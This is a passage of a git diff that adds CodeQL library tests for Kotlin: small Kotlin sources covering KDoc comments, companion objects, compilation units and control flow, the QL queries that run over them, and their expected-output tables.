+| comments.kt:4:1:11:3 | /**\n * A group of *members*.\n *\n * This class has no useful logic; it's just a documentation example.\n *\n * @property name the name of this group.\n * @constructor Creates an empty group.\n */ | Creates an empty group. |
+| comments.kt:4:1:11:3 | /**\n * A group of *members*.\n *\n * This class has no useful logic; it's just a documentation example.\n *\n * @property name the name of this group.\n * @constructor Creates an empty group.\n */ | the name of this group. |
+| comments.kt:14:5:16:7 | /**\n     * Members of this group.\n     */ | Members of this group. |
+| comments.kt:19:5:22:7 | /**\n     * Adds a [member] to this group.\n     * @return the new size of the group.\n     */ | Adds a [member] to this group.\n |
+| comments.kt:35:5:35:34 | /** Medium is in the middle */ | Medium is in the middle |
+| comments.kt:37:5:37:23 | /** This is high */ | This is high |
+| comments.kt:42:5:44:6 | /**\n     * A variable.\n    */ | A variable. |
+commentSectionContents
+| A group of *members*.\n\nThis class has no useful logic; it's just a documentation example.\n\n | A group of *members*.\n\nThis class has no useful logic; it's just a documentation example.\n\n |
+| A variable. | A variable. |
+| Adds a [member] to this group.\n | Adds a [member] to this group.\n |
+| Creates an empty group. | Creates an empty group. |
+| Kdoc with no owner | Kdoc with no owner |
+| Medium is in the middle | Medium is in the middle |
+| Members of this group. | Members of this group. |
+| This is high | This is high |
+| the name of this group. | the name of this group. |
+commentSectionNames
+| Creates an empty group. | constructor |
+| the name of this group. | property |
+commentSectionSubjectNames
+| the name of this group. | name |
diff --git a/java/ql/test/kotlin/library-tests/comments/comments.kt b/java/ql/test/kotlin/library-tests/comments/comments.kt
new file mode 100644
index 00000000000..0981f19e7fa
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/comments/comments.kt
@@ -0,0 +1,46 @@
+/** Kdoc with no owner */
+package foo.bar
+
+/**
+ * A group of *members*.
+ *
+ * This class has no useful logic; it's just a documentation example.
+ *
+ * @property name the name of this group.
+ * @constructor Creates an empty group.
+ */
+class Group(val name: String) {
+
+    /**
+     * Members of this group.
+     */
+    private val members = mutableListOf<Any>()
+
+    /**
+     * Adds a [member] to this group.
+     * @return the new size of the group.
+     */
+    fun add(member: Int): Int {
+        // A line comment
+        return 42
+    }
+
+    /*
+    A block comment
+    */
+}
+
+enum class Severity(val sev: Int) {
+    Low(1),
+    /** Medium is in the middle */
+    Medium(2),
+    /** This is high */
+    High(3)
+}
+
+fun fn1() {
+    /**
+     * A variable.
+    */
+    val a = 1
+}
diff --git a/java/ql/test/kotlin/library-tests/comments/comments.ql b/java/ql/test/kotlin/library-tests/comments/comments.ql
new file mode 100644
index 00000000000..457ac5f5bf1
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/comments/comments.ql
@@ -0,0 +1,13 @@
+import java
+
+query predicate comments(KtComment c, string s) { c.getText() = s }
+
+query predicate commentOwners(KtComment c, Top t) { c.getOwner() = t }
+
+query predicate commentSections(KtComment c, KtCommentSection s) { c.getSections() = s }
+
+query predicate commentSectionContents(KtCommentSection s, string c) { s.getContent() = c }
+
+query predicate commentSectionNames(KtCommentSection s, string c) { s.getName() = c }
+
+query predicate commentSectionSubjectNames(KtCommentSection s, string c) { s.getSubjectName() = c }
diff --git a/java/ql/test/kotlin/library-tests/companion_objects/accesses.expected b/java/ql/test/kotlin/library-tests/companion_objects/accesses.expected
new file mode 100644
index 00000000000..df85560bac1
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/companion_objects/accesses.expected
@@ -0,0 +1,2 @@
+| companion_objects.kt:3:5:5:5 | MyClassCompanion | companion_objects.kt:23:5:23:11 | MyClassCompanion |
+| companion_objects.kt:10:5:12:5 | MyInterfaceCompanion | companion_objects.kt:25:5:25:15 | MyInterfaceCompanion |
diff --git a/java/ql/test/kotlin/library-tests/companion_objects/accesses.ql b/java/ql/test/kotlin/library-tests/companion_objects/accesses.ql
new file mode 100644
index 00000000000..e1cb07245b6
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/companion_objects/accesses.ql
@@ -0,0 +1,5 @@
+import java
+
+from VarAccess va, CompanionObject cco
+where va.getVariable() = cco.getInstance()
+select cco, va
diff --git a/java/ql/test/kotlin/library-tests/companion_objects/companion_objects.expected b/java/ql/test/kotlin/library-tests/companion_objects/companion_objects.expected
new file mode 100644
index 00000000000..1766f462578
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/companion_objects/companion_objects.expected
@@ -0,0 +1,2 @@
+| companion_objects.kt:1:1:6:1 | MyClass | companion_objects.kt:3:5:5:5 | MyClassCompanion | companion_objects.kt:3:5:5:5 | MyClassCompanion | companion_objects.kt:1:1:6:1 | MyClass | final,public,static |
+| companion_objects.kt:8:1:13:1 | MyInterface | companion_objects.kt:10:5:12:5 | MyInterfaceCompanion | companion_objects.kt:10:5:12:5 | MyInterfaceCompanion | companion_objects.kt:8:1:13:1 | MyInterface | final,public,static |
diff --git a/java/ql/test/kotlin/library-tests/companion_objects/companion_objects.kt b/java/ql/test/kotlin/library-tests/companion_objects/companion_objects.kt
new file mode 100644
index 00000000000..77168743617
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/companion_objects/companion_objects.kt
@@ -0,0 +1,28 @@
+class MyClass {
+    fun funInClass() {}
+    companion object MyClassCompanion {
+        fun funInCompanion() {}
+    }
+}
+
+interface MyInterface {
+    fun funInInterface()
+    companion object MyInterfaceCompanion {
+        fun funInCompanion() {}
+    }
+}
+
+class Imp : MyInterface {
+    override fun funInInterface() {
+        TODO("Not yet implemented")
+    }
+
+}
+
+fun user() {
+    MyClass.funInCompanion()
+    MyClass().funInClass()
+    MyInterface.funInCompanion()
+    Imp().funInInterface()
+}
+
diff --git a/java/ql/test/kotlin/library-tests/companion_objects/companion_objects.ql b/java/ql/test/kotlin/library-tests/companion_objects/companion_objects.ql
new file mode 100644
index 00000000000..a6df9bb27b6
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/companion_objects/companion_objects.ql
@@ -0,0 +1,8 @@
+import java
+
+from ClassOrInterface c, CompanionObject cco, Field f
+where
+  c.fromSource() and
+  cco = c.getCompanionObject() and
+  f = cco.getInstance()
+select c, f, cco, f.getDeclaringType(), concat(f.getAModifier().toString(), ",")
diff --git a/java/ql/test/kotlin/library-tests/companion_objects/method_accesses.expected b/java/ql/test/kotlin/library-tests/companion_objects/method_accesses.expected
new file mode 100644
index 00000000000..b02c862d300
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/companion_objects/method_accesses.expected
@@ -0,0 +1,5 @@
+| companion_objects.kt:17:9:17:35 | StandardKt | TypeAccess | file:///!unknown-binary-location/kotlin/StandardKt.class:0:0:0:0 | TODO |
+| companion_objects.kt:23:5:23:11 | MyClassCompanion | VarAccess | companion_objects.kt:4:9:4:31 | funInCompanion |
+| companion_objects.kt:24:5:24:13 | new MyClass(...) | ClassInstanceExpr | companion_objects.kt:2:5:2:23 | funInClass |
+| companion_objects.kt:25:5:25:15 | MyInterfaceCompanion | VarAccess | companion_objects.kt:11:9:11:31 | funInCompanion |
+| companion_objects.kt:26:5:26:9 | new Imp(...) | ClassInstanceExpr | companion_objects.kt:16:14:18:5 | funInInterface |
diff --git a/java/ql/test/kotlin/library-tests/companion_objects/method_accesses.ql b/java/ql/test/kotlin/library-tests/companion_objects/method_accesses.ql
new file mode 100644
index 00000000000..67af80e44b4
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/companion_objects/method_accesses.ql
@@ -0,0 +1,4 @@
+import java
+
+from MethodAccess ma
+select ma.getQualifier(), ma.getQualifier().getAPrimaryQlClass(), ma.getCallee()
diff --git a/java/ql/test/kotlin/library-tests/compilation-units/cus.expected b/java/ql/test/kotlin/library-tests/compilation-units/cus.expected
new file mode 100644
index 00000000000..a5995ccc419
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/compilation-units/cus.expected
@@ -0,0 +1,9 @@
+| AbstractList | .../AbstractList.class:0:0:0:0 |
+| AbstractList$RandomAccessSpliterator | .../AbstractList$RandomAccessSpliterator.class:0:0:0:0 |
+| ArrayList | .../ArrayList.class:0:0:0:0 |
+| ArrayList$ArrayListSpliterator | .../ArrayList$ArrayListSpliterator.class:0:0:0:0 |
+| List | .../List.class:0:0:0:0 |
+| ListIterator | .../ListIterator.class:0:0:0:0 |
+| MutableList | .../MutableList.class:0:0:0:0 |
+| MutableListIterator | .../MutableListIterator.class:0:0:0:0 |
+| test | .../test.kt:0:0:0:0 |
diff --git a/java/ql/test/kotlin/library-tests/compilation-units/cus.ql b/java/ql/test/kotlin/library-tests/compilation-units/cus.ql
new file mode 100644
index 00000000000..1886d0259ab
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/compilation-units/cus.ql
@@ -0,0 +1,5 @@
+import java
+
+from CompilationUnit cu
+where cu.fromSource() or cu.toString().matches("%List%")
+select cu.toString(), cu.getLocation().toString().regexpReplaceAll(".*/", ".../")
diff --git a/java/ql/test/kotlin/library-tests/compilation-units/test.kt b/java/ql/test/kotlin/library-tests/compilation-units/test.kt
new file mode 100644
index 00000000000..259013ca382
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/compilation-units/test.kt
@@ -0,0 +1,5 @@
+class A {
+
+  val a : ArrayList<String> = ArrayList<String>()
+
+}
diff --git a/java/ql/test/kotlin/library-tests/controlflow/basic/Test.kt b/java/ql/test/kotlin/library-tests/controlflow/basic/Test.kt
new file mode 100644
index 00000000000..0645ecc6d87
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/basic/Test.kt
@@ -0,0 +1,124 @@
+package dominance;
+
+public class Test {
+	fun test() {
+		var x: Int = 0
+		var y: Long = 50
+		var z: Int = 0
+		var w: Int = 0
+
+		// if-else, multiple statements in block
+		if (x > 0) {
+			y = 20
+			z = 10
+		} else {
+			y = 30
+		}
+
+		z = 0
+
+		// if-else with return in one branch
+		if(x < 0)
+			y = 40
+		else
+			return
+
+		// this is not the start of a BB due to the return
+		z = 10
+
+		// single-branch if-else
+		if (x == 0) {
+			y = 60
+			z = 10
+		}
+
+		z = 20
+
+		// while loop
+		while(x > 0) {
+			y = 10
+			x--
+		}
+
+		z = 30
+
+/*
+TODO
+		// for loop
+		for(j in 0 .. 19) {
+			y = 0
+			w = 10
+		}
+
+		z = 40
+
+		// nested control flow
+		for(j in 0 .. 9) {
+			y = 30
+			if(z > 0)
+				if(y > 0) {
+					w = 0
+					break;
+				} else {
+					w = 20
+				}
+			else {
+				w = 10
+				continue
+			}
+			x = 0
+		}
+*/
+
+		z = 50
+
+		// nested control-flow
+
+		w = 40
+		return
+	}
+}
+
+fun t1(o: Any): Int {
+	try {
+		val x = o as Int
+		return 1
+	} catch (e: ClassCastException) {
+		return 2
+	}
+}
+
+fun t2(o: Any?): Int {
+	try {
+		val x = o!!
+		return 1
+	} catch (e: NullPointerException) {
+		return 2
+	}
+}
+
+fun fn(x:Any?, y: Any?) {
+    if (x == null && y == null) {
+        throw Exception()
+    }
+
+    if (x != null) {
+        println("x not null")
+    } else if (y != null) {
+        println("y not null")
+    }
+}
+
+fun fn(x: Boolean, y: Boolean) {
+    if (x && y) {
+
+    }
+}
+
+fun fn_when(x: Boolean, y: Boolean) {
+	when {
+		when {
+			x -> y
+			else -> false
+		} -> { } }
+}
diff --git a/java/ql/test/kotlin/library-tests/controlflow/basic/bbStmts.expected b/java/ql/test/kotlin/library-tests/controlflow/basic/bbStmts.expected
new file mode 100644
index 00000000000..4e0724fca1f
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/basic/bbStmts.expected
@@ -0,0 +1,191 @@
+| Test.kt:3:1:80:1 | { ... } | 0 | Test.kt:3:1:80:1 | { ... } |
+| Test.kt:3:1:80:1 | { ... } | 1 | Test.kt:3:1:80:1 | super(...) |
+| Test.kt:3:1:80:1 | { ... } | 2 | Test.kt:3:8:80:1 | { ... } |
+| Test.kt:3:1:80:1 | { ... } | 3 | Test.kt:3:8:80:1 | Test |
+| Test.kt:4:2:79:2 | test | 0 | Test.kt:4:2:79:2 | test |
+| Test.kt:4:13:79:2 | { ... } | 0 | Test.kt:4:13:79:2 | { ... } |
+| Test.kt:4:13:79:2 | { ... } | 1 | Test.kt:5:3:5:16 | var ...; |
+| Test.kt:4:13:79:2 | { ... } | 2 | Test.kt:5:16:5:16 | 0 |
+| Test.kt:4:13:79:2 | { ... } | 3 | Test.kt:5:3:5:16 | x |
+| Test.kt:4:13:79:2 | { ... } | 4 | Test.kt:6:3:6:18 | var ...; |
+| Test.kt:4:13:79:2 | { ... } | 5 | Test.kt:6:17:6:18 | 50 |
+| Test.kt:4:13:79:2 | { ... } | 6 | Test.kt:6:3:6:18 | y |
+| Test.kt:4:13:79:2 | { ... } | 7 | Test.kt:7:3:7:16 | var ...; |
+| Test.kt:4:13:79:2 | { ... } | 8 | Test.kt:7:16:7:16 | 0 |
+| Test.kt:4:13:79:2 | { ... } | 9 | Test.kt:7:3:7:16 | z |
+| Test.kt:4:13:79:2 | { ... } | 10 | Test.kt:8:3:8:16 | var ...; |
+| Test.kt:4:13:79:2 | { ... } | 11 | Test.kt:8:16:8:16 | 0 |
+| Test.kt:4:13:79:2 | { ... } | 12 | Test.kt:8:3:8:16 | w |
+| Test.kt:4:13:79:2 | { ... } | 13 | Test.kt:11:3:16:3 | <Expr>; |
+| Test.kt:4:13:79:2 | { ... } | 14 | Test.kt:11:3:16:3 | when ... |
+| Test.kt:4:13:79:2 | { ... } | 15 | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:4:13:79:2 | { ... } | 16 | Test.kt:11:7:11:7 | x |
+| Test.kt:4:13:79:2 | { ... } | 17 | Test.kt:11:11:11:11 | 0 |
+| Test.kt:4:13:79:2 | { ... } | 18 | Test.kt:11:7:11:11 | ... > ... |
+| Test.kt:11:3:16:3 | ... -> ... | 0 | Test.kt:11:3:16:3 | ... -> ... |
+| Test.kt:11:3:16:3 | ... -> ... | 1 | Test.kt:11:3:16:3 | true |
+| Test.kt:11:3:16:3 | ... -> ... | 2 | Test.kt:14:10:16:3 | { ... } |
+| Test.kt:11:3:16:3 | ... -> ... | 3 | Test.kt:15:4:15:4 | <Expr>; |
+| Test.kt:11:3:16:3 | ... -> ... | 4 | Test.kt:15:8:15:9 | 30 |
+| Test.kt:11:3:16:3 | ... -> ... | 5 | Test.kt:15:4:15:9 | ...=... |
+| Test.kt:11:14:14:3 | { ... } | 0 | Test.kt:11:14:14:3 | { ... } |
+| Test.kt:11:14:14:3 | { ... } | 1 | Test.kt:12:4:12:4 | <Expr>; |
+| Test.kt:11:14:14:3 | { ... } | 2 | Test.kt:12:8:12:9 | 20 |
+| Test.kt:11:14:14:3 | { ... } | 3 | Test.kt:12:4:12:9 | ...=... |
+| Test.kt:11:14:14:3 | { ... } | 4 | Test.kt:13:4:13:4 | <Expr>; |
+| Test.kt:11:14:14:3 | { ... } | 5 | Test.kt:13:8:13:9 | 10 |
+| Test.kt:11:14:14:3 | { ... } | 6 | Test.kt:13:4:13:9 | ...=... |
+| Test.kt:18:3:18:3 | <Expr>; | 0 | Test.kt:18:3:18:3 | <Expr>; |
+| Test.kt:18:3:18:3 | <Expr>; | 1 | Test.kt:18:7:18:7 | 0 |
+| Test.kt:18:3:18:3 | <Expr>; | 2 | Test.kt:18:3:18:7 | ...=... |
+| Test.kt:18:3:18:3 | <Expr>; | 3 | Test.kt:21:3:24:9 | <Expr>; |
+| Test.kt:18:3:18:3 | <Expr>; | 4 | Test.kt:21:3:24:9 | when ... |
+| Test.kt:18:3:18:3 | <Expr>; | 5 | Test.kt:21:3:24:9 | ... -> ... |
+| Test.kt:18:3:18:3 | <Expr>; | 6 | Test.kt:21:6:21:6 | x |
+| Test.kt:18:3:18:3 | <Expr>; | 7 | Test.kt:21:10:21:10 | 0 |
+| Test.kt:18:3:18:3 | <Expr>; | 8 | Test.kt:21:6:21:10 | ... < ... |
+| Test.kt:21:3:24:9 | ... -> ... | 0 | Test.kt:21:3:24:9 | ... -> ... |
+| Test.kt:21:3:24:9 | ... -> ... | 1 | Test.kt:21:3:24:9 | true |
+| Test.kt:21:3:24:9 | ... -> ... | 2 | Test.kt:24:4:24:9 | INSTANCE |
+| Test.kt:21:3:24:9 | ... -> ... | 3 | Test.kt:24:4:24:9 | return ... |
+| Test.kt:22:4:22:4 | <Expr>; | 0 | Test.kt:22:4:22:4 | <Expr>; |
+| Test.kt:22:4:22:4 | <Expr>; | 1 | Test.kt:22:8:22:9 | 40 |
+| Test.kt:22:4:22:4 | <Expr>; | 2 | Test.kt:22:4:22:9 | ...=... |
+| Test.kt:22:4:22:4 | <Expr>; | 3 | Test.kt:27:3:27:3 | <Expr>; |
+| Test.kt:22:4:22:4 | <Expr>; | 4 | Test.kt:27:7:27:8 | 10 |
+| Test.kt:22:4:22:4 | <Expr>; | 5 | Test.kt:27:3:27:8 | ...=... |
+| Test.kt:22:4:22:4 | <Expr>; | 6 | Test.kt:30:3:33:3 | <Expr>; |
+| Test.kt:22:4:22:4 | <Expr>; | 7 | Test.kt:30:3:33:3 | when ... |
+| Test.kt:22:4:22:4 | <Expr>; | 8 | Test.kt:30:3:33:3 | ... -> ... |
+| Test.kt:22:4:22:4 | <Expr>; | 9 | Test.kt:30:7:30:7 | x |
+| Test.kt:22:4:22:4 | <Expr>; | 10 | Test.kt:30:12:30:12 | 0 |
+| Test.kt:22:4:22:4 | <Expr>; | 11 | Test.kt:30:7:30:12 | ... (value equals) ... |
+| Test.kt:30:15:33:3 | { ... } | 0 | Test.kt:30:15:33:3 | { ... } |
+| Test.kt:30:15:33:3 | { ... } | 1 | Test.kt:31:4:31:4 | <Expr>; |
+| Test.kt:30:15:33:3 | { ... } | 2 | Test.kt:31:8:31:9 | 60 |
+| Test.kt:30:15:33:3 | { ... } | 3 | Test.kt:31:4:31:9 | ...=... |
+| Test.kt:30:15:33:3 | { ... } | 4 | Test.kt:32:4:32:4 | <Expr>; |
+| Test.kt:30:15:33:3 | { ... } | 5 | Test.kt:32:8:32:9 | 10 |
+| Test.kt:30:15:33:3 | { ... } | 6 | Test.kt:32:4:32:9 | ...=... |
+| Test.kt:35:3:35:3 | <Expr>; | 0 | Test.kt:35:3:35:3 | <Expr>; |
+| Test.kt:35:3:35:3 | <Expr>; | 1 | Test.kt:35:7:35:8 | 20 |
+| Test.kt:35:3:35:3 | <Expr>; | 2 | Test.kt:35:3:35:8 | ...=... |
+| Test.kt:35:3:35:3 | <Expr>; | 3 | Test.kt:38:3:41:3 | while (...) |
+| Test.kt:38:9:38:9 | x | 0 | Test.kt:38:9:38:9 | x |
+| Test.kt:38:9:38:9 | x | 1 | Test.kt:38:13:38:13 | 0 |
+| Test.kt:38:9:38:9 | x | 2 | Test.kt:38:9:38:13 | ... > ... |
+| Test.kt:38:16:41:3 | { ... } | 0 | Test.kt:38:16:41:3 | { ... } |
+| Test.kt:38:16:41:3 | { ... } | 1 | Test.kt:39:4:39:4 | <Expr>; |
+| Test.kt:38:16:41:3 | { ... } | 2 | Test.kt:39:8:39:9 | 10 |
+| Test.kt:38:16:41:3 | { ... } | 3 | Test.kt:39:4:39:9 | ...=... |
+| Test.kt:38:16:41:3 | { ... } | 4 | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:38:16:41:3 | { ... } | 5 | Test.kt:40:4:40:6 | <Stmt> |
+| Test.kt:38:16:41:3 | { ... } | 6 | Test.kt:40:4:40:6 | { ... } |
+| Test.kt:38:16:41:3 | { ... } | 7 | Test.kt:40:4:40:6 | var ...; |
+| Test.kt:38:16:41:3 | { ... } | 8 | Test.kt:40:4:40:4 | x |
+| Test.kt:38:16:41:3 | { ... } | 9 | Test.kt:40:4:40:6 | tmp0 |
+| Test.kt:38:16:41:3 | { ... } | 10 | Test.kt:40:4:40:4 | <Expr>; |
+| Test.kt:38:16:41:3 | { ... } | 11 | Test.kt:40:4:40:6 | tmp0 |
+| Test.kt:38:16:41:3 | { ... } | 12 | Test.kt:40:4:40:6 | dec(...) |
+| Test.kt:38:16:41:3 | { ... } | 13 | Test.kt:40:4:40:6 | ...=... |
+| Test.kt:38:16:41:3 | { ... } | 14 | Test.kt:40:4:40:6 | <Expr>; |
+| Test.kt:38:16:41:3 | { ... } | 15 | Test.kt:40:4:40:6 | tmp0 |
+| Test.kt:38:16:41:3 | { ... } | 16 | Test.kt:40:4:40:6 | <implicit coercion to unit> |
+| Test.kt:43:3:43:3 | <Expr>; | 0 | Test.kt:43:3:43:3 | <Expr>; |
+| Test.kt:43:3:43:3 | <Expr>; | 1 | Test.kt:43:7:43:8 | 30 |
+| Test.kt:43:3:43:3 | <Expr>; | 2 | Test.kt:43:3:43:8 | ...=... |
+| Test.kt:43:3:43:3 | <Expr>; | 3 | Test.kt:73:3:73:3 | <Expr>; |
+| Test.kt:43:3:43:3 | <Expr>; | 4 | Test.kt:73:7:73:8 | 50 |
+| Test.kt:43:3:43:3 | <Expr>; | 5 | Test.kt:73:3:73:8 | ...=... |
+| Test.kt:43:3:43:3 | <Expr>; | 6 | Test.kt:77:3:77:3 | <Expr>; |
+| Test.kt:43:3:43:3 | <Expr>; | 7 | Test.kt:77:7:77:8 | 40 |
+| Test.kt:43:3:43:3 | <Expr>; | 8 | Test.kt:77:3:77:8 | ...=... |
+| Test.kt:43:3:43:3 | <Expr>; | 9 | Test.kt:78:3:78:8 | INSTANCE |
+| Test.kt:43:3:43:3 | <Expr>; | 10 | Test.kt:78:3:78:8 | return ... |
+| Test.kt:82:1:89:1 | t1 | 0 | Test.kt:82:1:89:1 | t1 |
+| Test.kt:82:21:89:1 | { ... } | 0 | Test.kt:82:21:89:1 | { ... } |
+| Test.kt:82:21:89:1 | { ... } | 1 | Test.kt:83:2:88:2 | try ... |
+| Test.kt:82:21:89:1 | { ... } | 2 | Test.kt:83:6:86:2 | { ... } |
+| Test.kt:82:21:89:1 | { ... } | 3 | Test.kt:84:3:84:18 | var ...; |
+| Test.kt:82:21:89:1 | { ... } | 4 | Test.kt:84:11:84:11 | o |
+| Test.kt:82:21:89:1 | { ... } | 5 | Test.kt:84:11:84:18 | (...)... |
+| Test.kt:84:3:84:18 | x | 0 | Test.kt:84:3:84:18 | x |
+| Test.kt:84:3:84:18 | x | 1 | Test.kt:85:10:85:10 | 1 |
+| Test.kt:84:3:84:18 | x | 2 | Test.kt:85:3:85:10 | return ... |
+| Test.kt:86:4:88:2 | catch (...) | 0 | Test.kt:86:4:88:2 | catch (...) |
+| Test.kt:86:4:88:2 | catch (...) | 1 | Test.kt:86:11:86:31 | e |
+| Test.kt:86:4:88:2 | catch (...) | 2 | Test.kt:86:34:88:2 | { ... } |
+| Test.kt:86:4:88:2 | catch (...) | 3 | Test.kt:87:10:87:10 | 2 |
+| Test.kt:86:4:88:2 | catch (...) | 4 | Test.kt:87:3:87:10 | return ... |
+| Test.kt:91:1:98:1 | t2 | 0 | Test.kt:91:1:98:1 | t2 |
+| Test.kt:91:22:98:1 | { ... } | 0 | Test.kt:91:22:98:1 | { ... } |
+| Test.kt:91:22:98:1 | { ... } | 1 | Test.kt:92:2:97:2 | try ... |
+| Test.kt:91:22:98:1 | { ... } | 2 | Test.kt:92:6:95:2 | { ... } |
+| Test.kt:91:22:98:1 | { ... } | 3 | Test.kt:93:3:93:13 | var ...; |
+| Test.kt:91:22:98:1 | { ... } | 4 | Test.kt:93:11:93:11 | o |
+| Test.kt:91:22:98:1 | { ... } | 5 | Test.kt:93:12:93:13 | ...!! |
+| Test.kt:93:3:93:13 | x | 0 | Test.kt:93:3:93:13 | x |
+| Test.kt:93:3:93:13 | x | 1 | Test.kt:94:10:94:10 | 1 |
+| Test.kt:93:3:93:13 | x | 2 | Test.kt:94:3:94:10 | return ... |
+| Test.kt:95:4:97:2 | catch (...) | 0 | Test.kt:95:4:97:2 | catch (...) |
+| Test.kt:95:4:97:2 | catch (...) | 1 | Test.kt:95:11:95:33 | e |
+| Test.kt:95:4:97:2 | catch (...) | 2 | Test.kt:95:36:97:2 | { ... } |
+| Test.kt:95:4:97:2 | catch (...) | 3 | Test.kt:96:10:96:10 | 2 |
+| Test.kt:95:4:97:2 | catch (...) | 4 | Test.kt:96:3:96:10 | return ... |
+| Test.kt:100:1:110:1 | fn | 0 | Test.kt:100:1:110:1 | fn |
+| Test.kt:100:25:110:1 | { ... } | 0 | Test.kt:100:25:110:1 | { ... } |
+| Test.kt:100:25:110:1 | { ... } | 1 | Test.kt:101:5:103:5 | <Expr>; |
+| Test.kt:100:25:110:1 | { ... } | 2 | Test.kt:101:5:103:5 | when ... |
+| Test.kt:100:25:110:1 | { ... } | 3 | Test.kt:101:5:103:5 | ... -> ... |
+| Test.kt:100:25:110:1 | { ... } | 4 | Test.kt:101:9:101:30 | ... && ... |
+| Test.kt:100:25:110:1 | { ... } | 5 | Test.kt:101:9:101:9 | x |
+| Test.kt:100:25:110:1 | { ... } | 6 | Test.kt:101:14:101:17 | null |
+| Test.kt:100:25:110:1 | { ... } | 7 | Test.kt:101:9:101:17 | ... (value equals) ... |
+| Test.kt:101:22:101:22 | y | 0 | Test.kt:101:22:101:22 | y |
+| Test.kt:101:22:101:22 | y | 1 | Test.kt:101:27:101:30 | null |
+| Test.kt:101:22:101:22 | y | 2 | Test.kt:101:22:101:30 | ... (value equals) ... |
+| Test.kt:101:33:103:5 | { ... } | 0 | Test.kt:101:33:103:5 | { ... } |
+| Test.kt:101:33:103:5 | { ... } | 1 | Test.kt:102:15:102:25 | new Exception(...) |
+| Test.kt:101:33:103:5 | { ... } | 2 | Test.kt:102:9:102:25 | throw ... |
+| Test.kt:105:5:109:5 | <Expr>; | 0 | Test.kt:105:5:109:5 | <Expr>; |
+| Test.kt:105:5:109:5 | <Expr>; | 1 | Test.kt:105:5:109:5 | when ... |
+| Test.kt:105:5:109:5 | <Expr>; | 2 | Test.kt:105:9:107:5 | ... -> ... |
+| Test.kt:105:5:109:5 | <Expr>; | 3 | Test.kt:105:9:105:9 | x |
+| Test.kt:105:5:109:5 | <Expr>; | 4 | Test.kt:105:14:105:17 | null |
+| Test.kt:105:5:109:5 | <Expr>; | 5 | Test.kt:105:9:105:17 | ... (value not-equals) ... |
+| Test.kt:105:20:107:5 | { ... } | 0 | Test.kt:105:20:107:5 | { ... } |
+| Test.kt:105:20:107:5 | { ... } | 1 | Test.kt:106:9:106:29 | <Expr>; |
+| Test.kt:105:20:107:5 | { ... } | 2 | Test.kt:106:18:106:27 | x not null |
+| Test.kt:105:20:107:5 | { ... } | 3 | Test.kt:106:9:106:29 | println(...) |
+| Test.kt:107:16:109:5 | ... -> ... | 0 | Test.kt:107:16:109:5 | ... -> ... |
+| Test.kt:107:16:109:5 | ... -> ... | 1 | Test.kt:107:16:107:16 | y |
+| Test.kt:107:16:109:5 | ... -> ... | 2 | Test.kt:107:21:107:24 | null |
+| Test.kt:107:16:109:5 | ... -> ... | 3 | Test.kt:107:16:107:24 | ... (value not-equals) ... |
+| Test.kt:107:27:109:5 | { ... } | 0 | Test.kt:107:27:109:5 | { ... } |
+| Test.kt:107:27:109:5 | { ... } | 1 | Test.kt:108:9:108:29 | <Expr>; |
+| Test.kt:107:27:109:5 | { ... } | 2 | Test.kt:108:18:108:27 | y not null |
+| Test.kt:107:27:109:5 | { ... } | 3 | Test.kt:108:9:108:29 | println(...) |
+| Test.kt:112:1:116:1 | fn | 0 | Test.kt:112:1:116:1 | fn |
+| Test.kt:112:32:116:1 | { ... } | 0 | Test.kt:112:32:116:1 | { ... } |
+| Test.kt:112:32:116:1 | { ... } | 1 | Test.kt:113:5:115:5 | <Expr>; |
+| Test.kt:112:32:116:1 | { ... } | 2 | Test.kt:113:5:115:5 | when ... |
+| Test.kt:112:32:116:1 | { ... } | 3 | Test.kt:113:5:115:5 | ... -> ... |
+| Test.kt:112:32:116:1 | { ... } | 4 | Test.kt:113:9:113:14 | ... && ... |
+| Test.kt:112:32:116:1 | { ... } | 5 | Test.kt:113:9:113:9 | x |
+| Test.kt:113:14:113:14 | y | 0 | Test.kt:113:14:113:14 | y |
+| Test.kt:113:17:115:5 | { ... } | 0 | Test.kt:113:17:115:5 | { ... } |
+| Test.kt:118:1:124:1 | fn_when | 0 | Test.kt:118:1:124:1 | fn_when |
+| Test.kt:118:37:124:1 | { ... } | 0 | Test.kt:118:37:124:1 | { ... } |
+| Test.kt:118:37:124:1 | { ... } | 1 | Test.kt:119:2:123:12 | <Expr>; |
+| Test.kt:118:37:124:1 | { ... } | 2 | Test.kt:119:2:123:12 | when ... |
+| Test.kt:118:37:124:1 | { ... } | 3 | Test.kt:120:3:123:10 | ... -> ... |
+| Test.kt:118:37:124:1 | { ... } | 4 | Test.kt:120:3:123:3 | when ... |
+| Test.kt:118:37:124:1 | { ... } | 5 | Test.kt:121:4:121:9 | ... -> ... |
+| Test.kt:118:37:124:1 | { ... } | 6 | Test.kt:121:4:121:4 | x |
+| Test.kt:121:9:121:9 | <Expr>; | 0 | Test.kt:121:9:121:9 | <Expr>; |
+| Test.kt:121:9:121:9 | <Expr>; | 1 | Test.kt:121:9:121:9 | y |
+| Test.kt:122:12:122:16 | ... -> ... | 0 | Test.kt:122:12:122:16 | ... -> ... |
+| Test.kt:122:12:122:16 | ... -> ... | 1 | Test.kt:122:12:122:16 | true |
+| Test.kt:122:12:122:16 | ... -> ... | 2 | Test.kt:122:12:122:16 | <Expr>; |
+| Test.kt:122:12:122:16 | ... -> ... | 3 | Test.kt:122:12:122:16 | false |
+| Test.kt:123:8:123:10 | { ... } | 0 | Test.kt:123:8:123:10 | { ... } |
diff --git a/java/ql/test/kotlin/library-tests/controlflow/basic/bbStmts.ql b/java/ql/test/kotlin/library-tests/controlflow/basic/bbStmts.ql
new file mode 100644
index 00000000000..4e8367040f5
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/controlflow/basic/bbStmts.ql
@@ -0,0 +1,7 @@
